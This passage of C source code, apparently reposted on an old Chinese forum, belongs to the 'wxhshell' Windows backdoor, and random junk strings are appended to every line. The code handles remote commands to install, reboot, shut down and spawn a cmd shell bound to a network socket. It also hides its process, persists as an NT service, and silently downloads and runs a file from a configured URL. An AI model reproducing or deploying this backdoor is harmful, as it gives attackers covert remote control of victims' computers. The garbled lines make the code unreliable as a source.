      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Ng+mT  
    break; >\d&LLAe  
  } oT-gZedW(  
  // 安装 |Y>Jf~SN  
  case 'i': { u#,8bw?1  
    if(Install()) fZ$b8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T&lgWOls  
    else ZeP=}0TGjn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mux/\TII  
    break; eR$@Q  
    } v>_@D@pr  
  // 卸载 ;=y"Z^  
  case 'r': { :j]1wp+  
    if(Uninstall()) C(ij_>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wb0$FZzh  
    else A`n>9|R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n9'3~qVZ  
    break; t>[W]%op  
    } V`y^m@U!  
  // 显示 wxhshell 所在路径 VHxBs  
  case 'p': { ^.6[vmmq  
    char svExeFile[MAX_PATH]; JM3[ yNSN@  
    strcpy(svExeFile,"\n\r"); B?! L~J@p  
      strcat(svExeFile,ExeFile); 6Ijt2c'A}  
        send(wsh,svExeFile,strlen(svExeFile),0); t3@+idEb  
    break; FJ_7<4ET  
    } <y@v v  
  // 重启 1Cw]~jh  
  case 'b': { }R%H?&P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qYC&0`:H  
    if(Boot(REBOOT)) \baY+,Dr+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4yyw:"  
    else { JT?u[p Q^  
    closesocket(wsh); d=D-s  
    ExitThread(0);  k,:W]KD  
    } =Kd'(ct  
    break; +<a\0FsD  
    } 'z ?Hv  
  // 关机 x4WCAqi/2  
  case 'd': { cUY-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iFd !ED  
    if(Boot(SHUTDOWN)) { ADd[V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'z$$ZEz!C  
    else { F\m^slsu7=  
    closesocket(wsh); z`wIb  
    ExitThread(0); Zw]"p63eMa  
    } l7|z]v-  
    break; qX ,q*hr-  
    } 3vY-;&  
  // 获取shell ek][^^4o  
  case 's': { "`>6M&`U  
    CmdShell(wsh); 0P$1=oK  
    closesocket(wsh); 8A#,*@V[  
    ExitThread(0); 'Aq^z%|  
    break; d4| )=  
  } /j~~S'sw  
  // 退出 AY /9Io-  
  case 'x': { .KrLvic  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?2]fE[SqY  
    CloseIt(wsh); @7Ec(]yp  
    break; f/)Y {kS6  
    } ui%#f1Iq  
  // 离开 5T x4u%g  
  case 'q': { q`9.@u@a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =\<NTu  
    closesocket(wsh); }9^:(ty2A  
    WSACleanup(); |p:4s"NT  
    exit(1); y\T$) XGV  
    break; tgF~5 o}?  
        } U#z"t&o=L  
  } 0t7N yKU  
  } p*Z<DEh#  
,X|Oe@/  
  // 提示信息 G"/;Cq=t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K2xB%m1LK  
} H8eEBMGo  
  } %g9y m@s  
0z>IYw|UB  
  return; `=(<!nXJx  
} C m:AU;  
Gdow[x  
// shell模块句柄 ),x0G*oebj  
int CmdShell(SOCKET sock) }b456J  
{ Ca~8cQ  
STARTUPINFO si; ,;pUBrz/[  
ZeroMemory(&si,sizeof(si)); dcf,a<K\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jr` swyg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !]F`qS>  
PROCESS_INFORMATION ProcessInfo; o@)Fy51DD  
char cmdline[]="cmd"; Ue}1(2.v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1S?~ c25=h  
  return 0; QRju9x  
} `y>m >j  
u`XRgtI{g?  
// 自身启动模式 9K$ x2U  
int StartFromService(void) V D#q\  
{ sl$6Zv-l%0  
typedef struct ^(q .f=I!a  
{ QD-\'Bp/X  
  DWORD ExitStatus; mnA_$W3~I  
  DWORD PebBaseAddress; S)EF&S(TC  
  DWORD AffinityMask; <V^o.4mOg>  
  DWORD BasePriority; HM% +Y47a  
  ULONG UniqueProcessId; U^_\V BAk  
  ULONG InheritedFromUniqueProcessId; <WUgH6"  
}   PROCESS_BASIC_INFORMATION; PhAfEsD  
jRsl/dmy  
PROCNTQSIP NtQueryInformationProcess; |b\a)1Po:  
z};|.N}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ja9u?UbW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]!TE  
bPTtA;u  
  HANDLE             hProcess; -|V#U`mwF  
  PROCESS_BASIC_INFORMATION pbi; H,D5)1Uu  
JZ}zXv   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q&I #  
  if(NULL == hInst ) return 0; Uh0g !zzp  
}XUL\6U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wqG#jC!5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T={!/y+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t^&hG7L_m,  
!60U^\  
  if (!NtQueryInformationProcess) return 0; ndFVP;q  
"M:ui0YP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \`y:#N<c  
  if(!hProcess) return 0; 6$OmOCA%  
g%J\YRo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9,8/DW.K  
FRxR/3&  
  CloseHandle(hProcess); |M?s[}ll  
,=e.Q AF!"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -3ePCAtXbe  
if(hProcess==NULL) return 0; S:z|"u:+  
>$ZhhM/} J  
HMODULE hMod; GJdL1ptc  
char procName[255]; u.A}&'H  
unsigned long cbNeeded; 6?x F!VIL  
 L]l/w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |dxWO  
k9eyl)  
  CloseHandle(hProcess); #e.x]v:  
4Q!%16 P  
if(strstr(procName,"services")) return 1; // 以服务启动 3^P;mQ$p1  
@:im/SE  
  return 0; // 注册表启动 53hX%{3  
} +tk`$g  
Z,p@toj'  
// 主模块  dw;<Q  
int StartWxhshell(LPSTR lpCmdLine) |[~ S&  
{ zHKP$k8  
  SOCKET wsl; C[fefV9g2  
BOOL val=TRUE; ^U?Ac=  
  int port=0; F;_c x  
  struct sockaddr_in door; 9qDM0'WuU  
RR=WD-l  
  if(wscfg.ws_autoins) Install(); -\p&18K#  
iuj%.}  
port=atoi(lpCmdLine); ]Sj;\Iz  
NU_^*@k  
if(port<=0) port=wscfg.ws_port; a;bmlV04  
4Q#{,y944  
  WSADATA data; RL&0?OT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J<L\IP?%  
f:46.)W j<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [4xZy5V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "'t f]s  
  door.sin_family = AF_INET; V0D&bN*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Vz!zYl  
  door.sin_port = htons(port); @_t=0Rc  
FI:H/e5[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4"|3pMr  
closesocket(wsl); ?Sh"%x  
return 1; onmpMU7w  
} =?W7OV^BE  
xyo~p,(~t  
  if(listen(wsl,2) == INVALID_SOCKET) { +@uA  
closesocket(wsl); j|8!gW  
return 1; $S' TW3  
} [^GBg>k  
  Wxhshell(wsl); &3IkC(yD  
  WSACleanup(); 8VG}-   
Pm#/j;  
return 0; )a0l:jEOc  
;HAvor=?  
} Q\zaa9P  
%7 -(c  
// 以NT服务方式启动 9:g A0Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _1RvK? ;.{  
{ E5A"sB   
DWORD   status = 0; 3f$n8>mq  
  DWORD   specificError = 0xfffffff; D5xQ  
CH(Y.Kj-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M]X!D7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D?%[du:V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EKO'S+~  
  serviceStatus.dwWin32ExitCode     = 0; tBkgn3w  
  serviceStatus.dwServiceSpecificExitCode = 0; EZ>(}  
  serviceStatus.dwCheckPoint       = 0; =}tomN(F~[  
  serviceStatus.dwWaitHint       = 0; (`slC~"  
=RXeN+ &R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6|'7Mr~\  
  if (hServiceStatusHandle==0) return; ;o)'dK  
s]e `q4ip  
status = GetLastError(); 8 pf]M&  
  if (status!=NO_ERROR) gFuK/]gzI  
{ QxPPgn7'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VOC$Kqg;  
    serviceStatus.dwCheckPoint       = 0; @C^x&Sjm  
    serviceStatus.dwWaitHint       = 0; mW{uChHP  
    serviceStatus.dwWin32ExitCode     = status; $,O8SW.O$  
    serviceStatus.dwServiceSpecificExitCode = specificError; &\ca ? #  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O Lt0Q.{  
    return; y+Nw>\|S  
  } FO(QsR=\s  
%5+X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y|+5R5}K  
  serviceStatus.dwCheckPoint       = 0; &HLG<ISw  
  serviceStatus.dwWaitHint       = 0; D1+1j:m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c2Z !Vtd  
} F,)+9/S&  
L_9uwua.B~  
// 处理NT服务事件,比如:启动、停止 $DfK}CT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 117lhx].'  
{ UrciCOQf  
switch(fdwControl) Bx\ o8k  
{ ugXDnM[S%  
case SERVICE_CONTROL_STOP: OcWKK!A  
  serviceStatus.dwWin32ExitCode = 0; \ :s%;s51  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \z6UWZ  
  serviceStatus.dwCheckPoint   = 0; <uBRLe`)  
  serviceStatus.dwWaitHint     = 0; huA?*fat   
  { x6JV@wA&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2gklGDJD  
  } z&n2JpLY7  
  return; ;X]B0KFe7  
case SERVICE_CONTROL_PAUSE: I)#8}[vK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rSt5 @f?  
  break; hC8WRxEGq  
case SERVICE_CONTROL_CONTINUE: 8a@k6OZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OY(CB(2N  
  break; <K&A/Ue  
case SERVICE_CONTROL_INTERROGATE: ^HR8.9^[1u  
  break; 6/3E!8  
}; &+(D< U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %{IgY{X  
} # "c'eG0  
6ERMn"[_w  
// 标准应用程序主函数 #wT6IU1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x&J\swN9  
{ KwMt@1Z  
Fhllqh)  
// 获取操作系统版本 k7@QFw4 j  
OsIsNt=GetOsVer(); ]=ApYg7!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P5B,= K>r  
YCStX)r  
  // 从命令行安装 At<MY`ka  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'OTZ&;7{  
^Os }sJ*5S  
  // 下载执行文件 Qp[ Jw?a  
if(wscfg.ws_downexe) { p),* 4@2<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E0VAhN3G\  
  WinExec(wscfg.ws_filenam,SW_HIDE); u59l)8=  
} {R63n  
8<0P Ssx  
if(!OsIsNt) { P 0+@,kM  
// 如果时win9x,隐藏进程并且设置为注册表启动 <]%6x[  
HideProc(); %U}6(~  
StartWxhshell(lpCmdLine); jK/F zD0-  
} "|J6*s   
else />8A?+g9u  
  if(StartFromService()) "3]}V=L<5  
  // 以服务方式启动 \ ;]{`  
  StartServiceCtrlDispatcher(DispatchTable); t oDi70o  
else MC,Qv9m  
  // 普通方式启动 u/|@iWK:  
  StartWxhshell(lpCmdLine); b'SP,}s5"  
Kv1~,j6  
return 0; zRLJ|ejMP  
}
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只看该作者 1 发表于: 2006-10-10
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